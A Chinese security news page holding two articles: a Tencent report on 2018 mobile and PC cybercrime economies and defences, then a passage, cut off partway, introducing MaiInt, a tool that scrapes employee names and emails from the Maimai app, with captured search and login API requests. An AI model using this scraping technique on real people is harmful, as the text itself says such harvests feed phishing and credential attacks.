序言

病毒木马的演变史,就是一部互联网黑产演变史。病毒木马从最初的以炫技为目的,逐步过渡到与利益相关:哪里有流量,哪里能够获利,哪里便会有黑产聚集。

2018年,伴随移动应用的影响力超过电脑应用,主要互联网黑产也迁移到手机平台。腾讯安全反诈骗实验室观测数据表明,以持续多年的暗扣费黑产、恶意移动广告黑产、手机应用分发黑产、App推广刷量黑产为典型,这些移动端的互联网黑产,给用户和软件开发者带来了巨大的经济损失。

同时,2018年是区块链大年,几乎所有的新兴产业,都绕不开区块链这个关键词。与之相应,2017年下半年至今,互联网病毒木马的主流也都围绕区块链、比特币、以太坊、门罗币而来。由于比特币具备交易不便于警方追查的特性,全球范围内的黑市交易,大多选择比特币充当交易货币。由比特币等数字货币引发的网络犯罪活动继续流行,挖矿木马成为了2018年影响面最广的恶意程序。对于挖矿而言,除了大规模投入资本购买矿机自建矿场,黑产的作法是控制尽可能多的肉鸡电脑组建僵尸网络进行挖矿。而僵尸网络除了可以挖矿牟利,控制肉鸡电脑执行DDoS攻击也是历史悠久的黑产赢利模式之一。

为此,腾讯安全联合实验室整理了2018年上半年互联网黑产攻击数据和发展现状,分别从移动端和PC端两个方面详细解读黑色产业链的具体特征、攻防技术和发展态势,为大家揭开互联网黑产的面纱。

一、移动端黑产规模宏大,恶意推广日均影响用户超千万

2018年上半年,手机病毒类型多达几十种,大部分病毒都属于资费消耗、恶意扣费和隐私获取这三种类型,占比分别为32.26%、28.29%和20.40%。此外,手机病毒的功能日益复杂化,一款病毒往往兼具多种特性和恶意行为。4月初腾讯TRP-AI反病毒引擎曾捕获一款名为“银行节日提款机”的恶意木马,伪装成正常的支付插件,在用户不知情的情况下,私自发送订购短信,同时上传用户手机固件信息和隐私,给用户造成资费损耗和隐私泄露。

1.四大主流黑产链条

1.1 暗扣话费黑产:日掠夺千万的“抢钱”产业链

暗扣话费是非常古老的互联网黑产。大部分用户会预充值一些话费用于支付套餐的消耗,平时也很少再关注话费,实际上,这些预存的话费余额还可以用来订阅各种增值服务。移动黑产正是利用这一点,串通利益共同体一起窃取用户话费余额并牟取暴利。

据腾讯安全反诈骗实验室数据显示,每天互联网上约新增2750个左右的新病毒变种,伪装成各种打色情擦边球的游戏、聊天交友等应用诱导用户下载安装。此类手机恶意应用每天影响数百万用户,按人均消耗几十元话费估算,日掠夺话费金额数千万,可谓掘金机器。受暗扣话费影响的最多的省份有广东、河南、江苏等地。

腾讯安全反诈骗实验室研究发现,此类黑产以稀缺的SP提供商为上游,SDK根据掌握的不同SP资源开发相应的SDK,并将这些SDK植入到伪装成色情、游戏、交友等容易吸引网民的应用中。实现暗扣话费变现后,利润通过分成的方式被整个产业链瓜分。此类黑产核心的扣费SDK开发团队大概有20家左右,主要分布在北京、深圳、杭州等地。

据腾讯安全反诈骗实验室观测,暗扣话费的手机恶意软件的影响近期又呈增长之势。

1.2 广告流量变现:九大家族控制数百万广告流量牟取暴利

当前中国网民对手机应用中广告的态度整体较为宽容,国内消费者为应用付费的习惯尚待养成,正规的软件开发者同样需要通过广告流量来获利收益。然而,某些内置于各类应用中的恶意广告联盟,主要通过恶意推送广告进行流量变现的形式来牟利,平均每天新增广告病毒变种257个,影响大约676万的巨大用户群。这些恶意广告联盟推送的广告,内容更加无底线,在某些时候突然推送出色情擦边球应用、博彩甚至手机病毒也不足为奇。

腾讯安全反诈骗实验室的监测数据表明,越是经济发达的地区,恶意广告流量变现的情况也越发严重。珠三角、长三角、京津冀遭受恶意广告流量的影响远大于全国其他区域。

1.3 手机应用分发黑产:沉默但不简单的地下软件分发渠道

在应用市场竞争日益激烈的情况下,软件推广的成本也在升高。一些初创公司较难在软件推广上投入大量成本,部分厂商便找到了相对便宜的软件推广渠道:通过手机应用分发黑产,采用类似病毒的手法在用户手机上安装软件。据腾讯安全反诈骗实验室监测数据显示,软件恶意推广地下暗流整体规模在千万级上下,主要影响中低端手机用户。例如部分用户使用的手机系统并非官方版本,经常会发现手机里莫名其妙冒出来一些应用,这就是地下软件黑产的杰作。

通过手机恶意软件后台下载推广应用,是手机黑产的重要变现途径。腾讯安全反诈骗实验室的研究数据表明,手机恶意推广的病毒变种每天新增超过2200个,每天受影响的网民超过1000万。

1.4 App刷量产业链:作弊手段骗取开发者推广费

为了将自己开发的手机应用安装在用户手机上,软件开发者会寻找推广渠道并为此付费。一部分掌握网络流量的人,又动起歪脑筋:利用种种作弊手段去虚报推广业绩,欺骗软件开发者。根据腾讯安全反诈骗实验室对App刷量产业链的研究,该产业链主要有三个阶段:

第一阶段:机刷时代(模拟刷、群控)

前期通过模拟器模拟出大量手机设备伪装真实用户,随着对抗后期则主要通过购买部分真实手机设备通过群控系统来实现。模拟器易被检测,群控规模有限,加上开发商对抗技术的升级,该模式逐渐没落,刷量产业和开发者也处于长器的博弈之中。

第二阶段:众筹肉刷

常常以手机做任务就可以轻松赚钱为噱头吸引用户入驻平台,用户可以通过APP提供的各种任务来获取报酬,比如安装某个应用玩十分钟可以获取一块钱。然而这些平台由于失信太多,骗用户做任务又不愿意付费,导致愿意参与此类游戏的网友数量越来越少,模式已逐渐消亡。

第三阶段:木马技术自动刷量

人工刷量需要大量的真实用户帐号,或者较多的设备,还得人肉操作,导致效率较低。2018年有一批聪明的开发商已经开始布局木马自动刷量平台。木马SDK通过合作的方式植入到一些用户刚需应用中进行传播,然后通过云端控制系统下发任务到用户设备中自动执行刷量操作。

2.三大新兴攻击手段

2.1 黑产利用加固技术进程在加速

加固技术开发的本来目的是用于保护应用核心源代码不被窃取,随着病毒对抗的不断提升,越来越多的病毒应用开始采用加固来保护自己的恶意代码不被安全软件发现。

目前国内外有很多成熟的加固方案解决厂商,这些厂商存在很多先进的加固技术和较完善的兼容性解决方案,但是这些方案解决商的这些优点正成为黑产很好的保护伞。根据腾讯安全反诈骗实验室的数据显示,进入2018年以后利用这些知名加固解决方案的病毒应用正在快速增加。

从病毒家族的维度看,社工欺诈类、恶意广告类、色情类、勒索类等对抗更激烈的病毒家族更喜欢使用加固技术来保护自己。

2.2 黑产超级武器云加载进入3.0时代

随着恶意应用开发商与安全厂商的攻防日趋激烈和深入,恶意软件的开发者倾向于使用将恶意代码隐藏在云服务器并采用云端控制的方式下发恶意功能,最终通过本地框架进行动态加载来达到最佳隐藏恶意行为的效果,云加载技术是目前对抗传统安全软件最好的对抗手段。

根据腾讯安全反诈骗实验室大数据显示,目前使用动态加载技术的应用中,接近一半都是病毒。云加载技术正在成为病毒开发者最喜欢的攻击手段,色情、恶意应用分发、游戏暗扣等最赚钱的病毒家族,普遍标配云加载攻击技术来实现利益最大化。

该技术在病毒黑产中的作恶特点是:剥离恶意代码封装成payload,客户端上传特定的信息流交由云服务器控制是否下发执行payload功能,下发的代码最终在内存中加载执行,恶意代码可及时清理并保证恶意文件不落地,防止传统安全客户端感知。腾讯安全专家把这种利用技术成为“云加载”技术。

近年来,随着开发人员对Android系统架构和动态加载技术的理解的深入,各种代码热更新方案和插件化框架被发明并且免费开源,为病毒技术开发者实施云控作恶提供了技术基础,云控技术已经成为绝大多数高危木马的标配,腾讯安全反诈骗实验室近期也发现了若干使用云控技术的病毒家族。

云加载技术目前已经更新到3.0版本,该版本框架病毒开发者不仅可以通过地域、运营商、机型、设备等维度限制感染用户群,还能利用VA等虚拟加载技术彻底剥离恶意代码,通过一个白框架来按需加载扩展各种恶意功能,普通安全厂商很难再捕获到病毒的恶意行为。

2.3 黑产渗透更多的供应链,供应链安全风险加剧

回顾整个Android应用供应链相关的重大安全事件可以发现,针对供应链攻击的安全事件在用户影响、危害程度上绝不低于传统的恶意应用和针对操作系统的0day漏洞攻击,腾讯安全专家研究发现针对Android应用供应链的攻击的呈现以下趋势:

1)针对供应链下游(分发环节)攻击的安全事件占据了供应链攻击的大头,受影响用户数多在百万级别,且层出不穷。类似于XcodeGhost这类污染开发工具针对软件供应链上游(开发环境)进行攻击的安全事件较少,但攻击一旦成功,却可能影响上亿用户。

2)第三方SDK安全事件和厂商预留后门也是Android供应链中频发的安全事件,这类攻击大多采用了白签名绕过查杀体系的机制,其行为也介于黑白之间,从影响用户数来说远超一般的漏洞利用类攻击。

3)从攻击的隐蔽性来讲,基于供应链各环节的攻击较传统的恶意应用来说,隐蔽性更强,潜伏周期更久,攻击的发现和清理也都比较复杂。

4)针对供应链各环节被揭露出来的攻击在近几年都呈上升趋势,在趋于更加复杂化的互联网环境下,软件供应链所暴露给攻击者的攻击面越来越多,并且越来越多的攻击者也发现针对供应链的攻击相对针对应用本身或系统的漏洞攻击可能更加容易,成本更低。

二、PC端黑色产业链日趋成熟,攻击更加精准化

1.勒索病毒解密产业链,对企业及公共机构造成严重威胁

2018年,大量企业、政府机关和公共服务机构由于遭遇勒索病毒,生产系统数据被加密破坏,重要业务系统陷入崩溃。勒索病毒攻击者利用各种手段尝试入侵重要机构网络系统,例如通过弱口令漏洞入侵企业网站,再将企业Web服务器作为跳板,渗透到内网,然后利用强大的局域网漏洞攻击工具将勒索病毒分发到内网关键服务器,将企业核心业务服务器、备份服务器数据加密。

病毒一旦得手,企业日常业务立刻陷于崩溃状态,关键业务因此停摆。如果企业网管发现连备份系统也一样被破坏了。那基本只剩下一条路:缴纳赎金。众所周知,勒索病毒的加密技术是高强度的非对称加密,除非得到密钥,解密在理论上都是不可能的。正因为如此,腾讯御见威胁情报中心监测发现了这个不为人知的奇葩产业链:勒索病毒解密产业链。

该产业链的从业者甚至通过购买搜索引擎关键字广告来拓展业务。

当受害企业寻求解决办法时,正规的安全厂商往往会回复,“没有备份数据就找不回来了”。而受害企业通过互联网上的方法寻找到的解密服务商,这些人充当了受害企业联系勒索病毒传播者的中介,相对受害企业,更熟悉虚拟数字币的交易,在一番讨价还价之后,代理受害企业买回解密密钥,从而解密数据。某些情况下,亦不能排除负责解密的中介机构,是否和勒索病毒传播者之间存在某些联系。

除此之外,勒索病毒传播链本身也有专业分工,有人负责制作勒索病毒生成器,交给有网站资源的人分发,各方参与利益分成。

2.控制肉鸡挖矿产业链,游戏外挂成挖矿木马“重灾区”

去年年底,温州市区一家公司的网站被恶意攻击,网警梳理线索时,发现犯罪嫌疑人徐某有重大嫌疑,经过调查,警方果然发现一个利用漏洞安装挖矿木马的犯罪团伙。该团伙有12名成员,利用漏洞攻击别人电脑,获利控制权之后,植入挖矿木马。专案组查明,这一团伙共租赁20余台服务器远程控制了5000余台“肉鸡”,非法挖矿1000余枚门罗币等数字货币(价值约60余万元)。

无独有偶,2017年底,腾讯电脑管家通过安全大数据监测发现,一款名为“tlMiner”的挖矿木马在2017年12月20日的传播量达到峰值,当天有近20万台机器受到该挖矿木马影响。此次发现的“tlMiner”挖矿木马,植入在“吃鸡”游戏(steam版绝地求生)外挂“吃鸡小程序”中。由于“吃鸡”游戏对电脑性能要求较高,黑产团伙瞄准“吃鸡”玩家、网吧的高配电脑,搭建挖矿集群。

腾讯电脑管家团队立即配合守护者计划将该案线索提供给警方,协助山东警方于2018年3月初立案打击“tlMiner”木马黑产。据分析,“tlMiner”木马作者在“吃鸡”游戏外挂、海豚加速器(修改版)、高仿盗版腾讯视频网站(dy600.com)、酷艺影视网吧VIP等程序中植入“tlminer”挖矿木马,通过网吧联盟、QQ群、论坛、下载站和云盘等渠道传播。

腾讯电脑管家安全团队继续加深对挖矿木马黑产链条的研究,协助警方深挖,进一步分析挖掘到木马作者上游:一个公司化运营的大型挖矿木马黑色产业链。4月11日,警方在辽宁大连一举查封该挖矿木马黑产公司。

该公司为大连当地高新技术企业,为非法牟利,搭建木马平台,招募发展下级代理商近3500个,通过网吧渠道、吃鸡外挂、盗版视频软件传播投放木马,非法控制用户电脑终端389万台,进行数字加密货币挖矿、强制广告等非法业务,合计挖掘DGB(极特币)、HSR(红烧肉币)、XMR(门罗币)、SHR(超级现金币)、BCD(比特币钻石)、SIA(云储币)等各类数字货币超过2000万枚,非法获利1500余万元。

3.DDoS攻击技术不断演进,团伙作案趋势明显

DDoS攻击在分工上由工具开发者向人员多维化发展,也出现了技术、销售、渠道等分工,在DDoS攻击产业链中一般称为接发单人、担保商、肉鸡商、攻击软件开发人员等。随着DDoS的新技术不断的被挖掘出来,DDoS攻击正在规模化、自动化、平台化的发展。由于DDoS在技术与平台上始终是站在互联网的最前沿,往往我们看到一个峰值的出现,便是互联网的一场灾难。

每一个攻击类型的出现或每一个攻击类型的技术的更新,都是一场攻击者的狂欢,例如今年的Memcached反射放大攻击,不仅仅在技术上达到了5万倍的反射放大效果,而且在流量上更是达到了1.7Tbps的峰值效果。

1)DDoS的攻击类型

SYNFlood做为早期的攻击类型,占比近20%,主要原因是其攻击效果有良好的穿透力,无论是在攻击服务器,还是中间的基础网络设施上,都能在到良好的效果。

同样UDP Flood以其数据包构造灵活的特点仍占有大量比重。占比最大的是排名第一的反射放大攻击(占比60%),反射放大以其攻击成本小、构造发包简单、反射倍数高、在自动化平台后端调用方便等特点,成为流量攻击中的首选。

在流行的DDoS攻击类型占比统计中,以IoT设备为反射源的SSDP反射放大已连续几年都占比最高,今年的一支新秀Memcached反射也没有盖过其占比的锋芒。

因为攻击手法的增多,DDoS攻击效果立竿见影,利用DDoS进行勒索、攻击竞争对手的情况越来越普及;催生了DDoS黑色产业链越来越细化,除发单人、担保商、黑客软件作者外,又增加了肉鸡商、接单人、资源提供者、接发单平台几个维度。

在巨大经济利益面前,DDoS攻击黑产在多个环节逐渐完成自动化,使整个链条无需人工参与,发单人直接在DDoS平台下单,我们称这样的平台为“页端DDoS攻击平台”。

“页端DDoS攻击平台”包括用户注册、套餐付费、攻击发起等一系列操作,且在用户侧都可以完成,不需要其他人员参与。页端DDoS攻击平台在发起攻击时,是以API形式调用发包机或支持API的C2服务器进行攻击,延迟时间一般小于10秒;对比传统DDoS 攻击来看,已完成了全自动的无人值守攻击方式。页端DDoS攻击平台其高度集成管理,在成单率、响应时长、攻击效果等方面都得到了可行的解决。

在平台化外,DDoS攻击类型也有长足的发展。例如IoT(物联网)僵尸网络的典型代表mirai针对互联网基础架构服务提供商Dyn DNS(如今的Oracle DYN)进行功击。今年3月份的Memcached反射更是一剂强心针,以5万的反射放大倍数、1.7Tbps的流量峰值再一次刷新了DDoS的认知。

2)DDoS攻击典型案例–“暗夜”攻击团伙案

DDoS攻击黑产会严重影响企业线上业务开展,腾讯云鼎实验室曾配合公安机关破获暗夜DDoS攻击团伙案,该团伙攻击对某客户的游戏业务产生严重影响,玩家访问缓慢,登录掉线,甚至完全没有响应。

腾讯云鼎实验室根据系统日志判断为大流量持续DDoS攻击,单日攻击流量峰会达462G,该团伙掌握的DDoS攻击资源十分庞大。腾讯云鼎实验室通过努力,最终在该团伙控制的其中一台C2服务器发现可疑线索,通过流量、日志、关联等多维度的数据分析,最终定位到证据所在,公安机关根据这些信息在境外将暗夜DDoS黑产团伙一网打尽。

三、互联网黑产对抗的技术趋势与实践

1.人工智能成移动端黑产对抗技术突破口

移动黑产以趋利为目的,为了保护自己的利益,黑产从业人员会想尽一切办法来隐藏自己,与安全厂商之间的对抗也愈发激烈。根据多年积累的对抗经验,腾讯安全团队认为移动黑产对抗技术发展主要有以下几个方向:

1)立体式安全检测体系

从应用传播、应用安装、应用运行、应用变现等维度,将各种安全检测手段融入到应用的不同生命周期。如接入URL安装检测引擎可以在下载阶段即可阻断恶意行为继续,又如行为检测引擎可以在病毒执行敏感操作时候及时阻止避免进一步破坏操作。

2)用户端侧的主动防御

安全厂商使用的传统静态引擎由于缺乏真实的行为数据,黑产团伙很容易就可以突破其防线。不管黑产采用多少种先进的对抗手段,其最终的目的还是通过执行恶意行为来实现牟利的目的,手机厂商通过系统层原生集成应用敏感行为检测点,真实的捕获到恶意行为。数据脱敏以后可以辅助深度学习等方法实现更快,更准确的检测效果。

3)引入人工智能算法,智能识别未知样本

传统杀毒引擎从病毒的发现到检出会存在一段时间的空窗期(比如样本的收集)。安全研究人员可以将丰富的人工经验,通过深度学习技术,泛化成通用的病毒检测模型,提升未知病毒的检出能力。

腾讯安全团队基于第三种思路研发的腾讯TRP-AI反病毒引擎已经在腾讯手机管家云引擎中得到应用,并且该技术通过深入集成的方式在魅族Flyme7系统中率先全面应用。集成TRP反病毒引擎的系统新病毒发现能力提升8.3%,新检出病毒中使用云加载技术的占比60.1%,使用加固加壳技术的占比12.%,并且病毒平均潜伏期为35min。

2.化被动为主动的PC端黑产对抗技术

伴随互联网产业的加速发展,PC端黑产技术也在不断进化。为了最大限度获利,黑产会尽可能在用户电脑驻留存活更长时间。同时,2018年区块链的火爆令加密山寨币迅速成为黑色产业地下流通的硬通货,通过挖矿获取山寨虚拟加密币,使得黑产变现链条更加直接。为了更好地狙击PC端黑产,安全厂商的对抗技术主要包括以下方面:

1)更快速的安全漏洞响应机制

安全漏洞始终是网络攻击的绝佳通道,0day漏洞往往被应用在高价值目标的精准攻击上。2018年“永恒之蓝”漏洞攻击包被经常提起,这个武器级的漏洞攻击包在被黑客完全公开后,一度被黑产广泛使用,成为入侵企业网络、传播勒索病毒,植入挖矿木马的利器。

网络黑产可以在极短的时间内将Windows已经发布补丁的高危漏洞迅速利用起来,然而,目前仍有大部分的网民因为使用盗版系统等种种原因,补丁安装率普遍不高。这种现状使得漏洞攻击工具在补丁发布之后很长时间,都大有用武之地。杀毒软件更新补丁修复功能,对于帮助这类用户排除干扰,修补系统漏洞起到了关键作用。

对于一些突然爆发的0day漏洞,也需要安全软件进行提前防御。2018年,Office公式编辑器漏洞和Flash 0day漏洞是黑产利用最广泛的攻击武器,利用此类漏洞进行攻击,用户打开一个Office文档或浏览一个网页也可能立即中毒。腾讯电脑管家针对攻击者的这一特性集成“女娲石”防御技术,可以让电脑在即使遭遇部分0day攻击时,也能够实现有效拦截。补丁修复方案的升级,让腾讯电脑管家用户电脑的漏洞修复率大幅上升,黑产作案的技术成本也明显提升。

2)对抗勒索病毒破坏的数据备份机制

2017年,以WannaCry为首的勒索病毒采取相对盲目的广撒网式破坏,却并未因勒索病毒的广泛传播而取得足够的经济回报:绝大多数的普通用户在遭遇勒索病毒攻击之后,放弃了缴纳赎金解锁数据,而是选择重装系统。对于网络黑产来说,这类广撒网式攻击损人不利己,攻击者开始转向针对高价值目标的精确打击。通过系统漏洞、社会工程学欺骗、精心设计的钓鱼邮件来诱使目标用户运行危险程序。

然而,勒索病毒的感染量下降了,勒索病毒造成的损失却依然严重:许多重要信息系统被勒索病毒破坏,受害者被迫支付赎金。面对勒索病毒越来越精准的打击,高价值用户需要更加完善的数据保护方案,腾讯电脑管家迅速升级“文档守护者”功能,通过充分利用用户电脑冗余的磁盘空间自动备份数据文档,既使电脑不幸染毒,数据文档被加密,也能通过文档守护者来恢复文档,尽最大可能减小损失。

3)能够揭示黑产全貌的威胁情报系统

为逃避杀毒软件的查杀,病毒木马的行为变得更加隐蔽,病毒样本的更新、木马控制服务器的变化的速度都比以往更快,部分攻击者甚至会限制恶意程序扩散的范围,黑产的攻击正在变得愈发难以捕捉和缺少规律性。

腾讯御见威胁情报系统基于安全大数据分析的处理系统,通过分析成千上万个恶意软件的行为并创建一系列的规则库,再利用这些规则去匹配每个新发现的网络威胁,像完成一幅拼图一样,将一个个分散的病毒木马行为完整拼接,从中发现木马病毒的活动规律,追溯病毒木马传播的源头。2018年,腾讯御见威胁情报系统已成功协助警方破获多起网络黑产大案,成为打击黑产的有力武器。

四、2018年下半年的安全趋势分析

1.MAPT攻击威胁持续上升,移动设备或成重大安全隐患

2018年随着互联网+进程的不断推进,通过智能设备我们可以享受到非常便捷的移动互联网服务,如移动医疗服务,社保服务,电子身份证,电子驾照等政府贴心的民生服务。同时也有大量的企业和政府部门开始习惯通过智能终端来管理内部工作,这些基于智能手机的服务方便大众的同时,也暴露出巨大的安全隐患:移动互联网时代的智能手机承载着全面而巨量的个人和组织的隐私数据,一旦个人智能手机被操控,黑客团伙通过这个设备获取到各种敏感数据,从而导致不可估量的损失。

虽然目前主流关于APT的讨论仍集中于PC电脑,但是趋势表明APT攻击组织正在往网络军火库中添加MAPT(Mobile AdvancedPersistent Threat)武器以获得精准而全面的信息。比如APT-C-27组织从2015年开始更新维护基于安卓的RAT工具,利用这些工具来收集用户手机上的文档、图片、短信、GPS位置等情报信息。Skygofree会监控上传录制的amr音频数据,并尝试root用户设备以获取用户whatsapp.facebook等社交软件的数据。Pallas则全球部署试图攻击包括政府、军队、公用事业、金融机构、制造公司和国防承包商的各类目标。

全平台覆盖加上国家级黑客团队攻击技术的加持,无边界智能办公时代被忽视的移动智能设备正在成为重大安全隐患,MAPT正在威胁企业,重点机构乃至政府部门。它们需要拥有移动/PC一体化反APT安全解决方案。

2.恶意应用的检测和反检测对抗将愈发激烈,安全攻防进入焦灼局势

黑产团伙对抗技术日趋完善,安全攻防进入焦灼局势,并且传统安全监测方案正在逐渐处于劣势的一方。一方面在巨大利益的驱使下企业化运作的黑产团伙有更多的财力开发基于云加载技术的恶意应用(恶意代码变得很难捕获),并且有充沛的人力进行免杀对抗(传统引擎基于特征检测,很容易被免杀绕过)。另一方面一些供应链的厂商也在知情或不知情的情况下成为黑产团伙的保护伞,在自己的框架中引入包含恶意功能的SDK,导致有大量的恶意应用潜伏一年甚至数年才被新技术手段发现。

3.黑产团伙拓宽安卓挖矿平台市场,移动挖矿应用或迎来爆发

相比电脑平台,移动智能设备普及率高,使用频率极高,但是移动设备受限于电池容量和处理器能力,而且挖矿容易导致设备卡顿、发热、电池寿命下降,甚至出现手机电池爆浆等物理损坏,移动平台似乎并不是一个可用于可持续挖矿的平台。

随着移动设备性能不断提升,2018年黑产团伙还在尝试利用手机平台生产电子货币。比如HiddenMiner潜伏于三方应用市场诱导用户下载,然后控制用户手机设备窃取Monero,又如ADB.Miner通过端口扫描的方式发现基于安卓的TV设备进行挖矿,还发现过多起Google play官方应用市场应用包含挖矿恶意代码的事件,这些事件的不断发生预示这黑产团伙正在拓宽安卓挖矿平台市场。

4.勒索病毒攻击更加趋向于精准化的定向打击

御见威胁情报中心监测发现,勒索病毒正在抛弃过去无差别的广撒网式盲目攻击,而是转向高价值的攻击目标进行精确打击。攻击者利用系统漏洞或精心构造的钓鱼邮件入侵企业网络,渗透到企业内网之后,选择最有可能敲诈成功的高价值数据来加密勒索

2018年上半年较多的教育机构、医疗机构、进出口贸易企业、制造业等高价值目标的计算机系统被勒索病毒攻击,这一趋势正变得日益明显。同时,这意味着高价值目标需要加强安全防护,特别重要的是做好系统漏洞修补和关键业务数据的备份。

5.挖矿病毒比重明显增大,手段更加隐蔽

挖矿病毒正在成为最常见的病毒类型,因为区块链相关产业的火爆,各种流行的虚拟加密货币可以在交易所直接获利。除非区块链相关的空气币泡沫破灭,否则挖矿病毒都将是最直接的黑产赢利模式,远超前几年流行的盗号木马。

比特币挖矿需要高性能的矿机运行,成本高昂,对控制肉鸡挖矿来说,性价比太低。挖矿病毒大多利用受害电脑的CPU资源挖山寨币,而且为了避免被受害者发现,很多挖矿病毒对系统资源的消耗控制更严。

监测发现,大量挖矿病毒会限制CPU资源消耗的上限,当用户在运行高资源消耗的程序时,暂时退出挖矿;在用户系统闲置时全速挖矿等等。挖矿病毒也基本限于三种形式:普通客户端木马挖矿、网页挖矿(入侵网站,植入挖矿代码,打开网页就挖矿),入侵控制企业服务器挖矿。

6.高级可持续性APT攻击威胁距离普通人越来越近

高级可持续性威胁(简称APT),是利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式。安全厂商近期披露的跨国APT组织,利用高价值安全漏洞,构造精准欺诈邮件,利用所有可能的方式入侵目标网络,窃取情报,破坏目标系统。

除了以上高价值目标,腾讯御见威胁情报中心发现,部分商业化的黑客组织,可能正在使用APT攻击的方式针对普通企业,目标是获得商业情报,出售给特定买家。使得比较接近高价值目标的商业机构,也成为下一个APT攻击的领域。而普通企业的网络安全防护体系,远弱于国家、政府、大型企业网络,更容易成为APT攻击的受害者。

7.刷量刷单类灰色产业依然严重

互联网创新企业容易遭遇羊毛党的攻击,国家实行实名制对网络服务帐号严格管理,但随着物联网的兴起,大量未实行实名制的物联网卡流入市场。羊毛党大量买入物联网卡,注册大量帐号待价而沽。这些虚假帐号在刷单刷量的薅羊毛产业中普通使用,打造虚假繁荣,给相关企业造成严重损失。

*本文作者:腾讯手机管家,转载请注明来自FreeBuf.COM

MaiInt:基于脉脉应用的中国公司雇员信息收集工具

严正声明:本文仅限于技术探讨,严禁用于其他用途。

本文将介绍一款由埃森哲安全实验室Vincent Yiu开发的,针对中国某职场社交应用的开源信息自动化收集测试工具-MaiInt(Github下载)。MaiInt 能基于这款应用平台,执行公开资源情报(OSINT)操作,收集该应用注册用户信息,进一步分类,可实现对中国各大公司在该应用平台注册雇员姓名和可能的电子邮箱收集,最终收集结果会以HTML和CSV报告格式呈现。作者在本文讲述了自己开发MaiInt的一些相关过程和延伸利用。

看不到?点这里

开发MaiInt的起因

目前,针对中国职场社交平台,好像还没有一款好用的公司雇员信息收集工具,而在美英等国,安全研究人员或恶意攻击者可以围绕LinkedIn来进行一些公司雇员收集,且类似的OSINT工具有很多,像LinkedInt就是其中之一。LinkedInt早期只是开发者小范围的内部使用,直到2017年才正式开源下载。利用LinkedInt可以指定公司名称和公司域名后缀,来收集特定公司的雇员姓名和邮箱信息,这种类似工具可以方便攻击者对某些公司雇员发起有针对性的钓鱼欺骗、撞库和密码暴力破解等恶意攻击。

在2017年12月举办的京东安全大会上,由于各种原因,我发现很难找到中国公司员工的准确信息。虽然 LinkedIn在中国没被禁用,但貌似又不是主流的社交应用。在和朋友 3gstudent 的交流中,他告诉我,在中国,有一款职场社交应用可能比LinkedIn更为活跃。

着手开发MaiInt

基于以上难于发现中国公司员工准确信息的问题,由此我开发了MaiInt。开发过程中有几个地方需要克服,特别是由于我不了解中国汉字的URL转码问题,其它的问题在下文略有介绍,也藉此可以启发有兴趣的研究人员对其它OSINT工具的开发。

从了解该应用的  iOS APP 开始

我从iPhone应用商店中下载了这款应用的  iOS APP,之后,我就用我自己的手机号码进行了账号注册。在这款APP中,手机号可以代替用户名,因此,在开发MaiInt之初,需要用到你个人的手机号和该应用的登录验证密码。之后,完成相关注册登录,就能进行特定组织机构的雇员信息收集了。

接下来,就是在Burp中观察网络流量行为了。这一步,需要进行一些设置更改,首先,需要更改iPhone上的无线设置,把手动代理修改为HTTP方式。而且需要确保接入的无线网络没有主机隔离限制,之后,就是设置好你的代理IP,并确保手机防火墙处于关闭状态,能让手机连接到你的代理上去。

通过网络流量抓包分析,可以看到该应用的API接口和各种可用的HTTP方法,我发现利用GET、POST、Cookie参数方式可以很方便地就创建出一个简单的GET请求,并能收到JSON数据格式的响应。

以下为一个执行search请求的示例:

GET /search/contacts?query=%E9%A5%BF%E4%BA%86%E4%B9%88&dist=3&searchTokens=%5B%22%E9%A5%BF%E4%BA%86%E4%B9%88%22%5D&me=1&highlight=true&frm=webview%23%2Fsearch%2Fcontacts&appid=4&vc=11.2.1&push_permit=1&version=4.18.8&channel=AppStore&net=wifi&jsononly=1&imei=<censor IMEI>&open=icon&density=2&u=<censor user ID>&device=iPhone10%2C4&access_token=<censor access token>&ts=<censor ts>HTTP/1.1
Host: maimai.cn
Accept: */*
Cookie: access_token=<censor access token>; channel=AppStore; u=<censor user ID>; version=4.18.8; session=<censor session cookie>; session.sig=<censor session signature>
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Mobile/15C153/{iPhone10,4} [iOS 11.2.1]/MaiMai 4.18.8(4.18.8.9)
Accept-Language: en-GB;q=1, zh-Hant-GB;q=0.9, zh-Hans-GB;q=0.8
Accept-Encoding: gzip, deflate
Connection: close

在以上请求中可以发现,多个区域字段都值得深入研究。在身份验证部分的验证请求过程中,所需的就是一个认证访问token和用户ID,这点的更多部分以下还会更多涉及。

另外有意思的部分就是query 和 searchTokens 参数,我使用了在线工具https://www.url-encode-decode.com/ 对其中涉及的数值作了转码。其中,query参数值%E9%A5%BF%E4%BA%86%E4%B9%88转码后的信息为我要收集的公司 ‘饿了么’:

MaiInt:基于脉脉应用的中国公司雇员信息收集工具而searchToken参数值 %5B%22%E9%A5%BF%E4%BA%86%E4%B9%88%22%5D 转码后则为 [“饿了么”],比上一个query参数值多了一对括号和引号:MaiInt:基于脉脉应用的中国公司雇员信息收集工具最后请求的输出数据为JSON格式,你可以指定需要收集的记录数量,但是不能超过25,000条,否则就会出现崩溃不响应。

自动验证

为了获取有效的访问认证token,我们需要执行身份验证步骤,并从响应消息中获取访问认证token。因此,我退出应用并再次登录进入,并用Burp对该过程进行网络流量抓包。和搜索功能类似,这个应用的登录功能一样可用GET、POST和Cookie参数方式来交互运行,所以也很容易在URL链接中添加各部分所需的请求参数。不尽如人意的是,我没有通过web代理来运行该过程,其中涉及到了一些https://maimai.cn的TLS连接,而且登录账号也仅只是为了测试MaiInt之用。

以下为POST请求网络包内容:

POST /maimai/user/v3/login?account=<censored account phone number>&appid=4&vc=11.2.1&push_permit=1&version=4.18.8&channel=AppStore&net=wifi&imei=<censored IMEI>&open=icon&density=2&u=&device=iPhone10%2C4&access_token= HTTP/1.1
Host: open.taou.com
Content-Type: application/x-www-form-urlencoded
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Mobile/15C153/{iPhone10,4} [iOS 11.2.1]/MaiMai 4.18.8(4.18.8.9)
Accept-Language: en-GB;q=1, zh-Hant-GB;q=0.9, zh-Hans-GB;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 128
account=<censored URL encoded phone number>&appid=4&cnt=1&dev_type=4&dname=<censored device name>&new_fr=1&password=<censored password>&stage=complete_uinfo

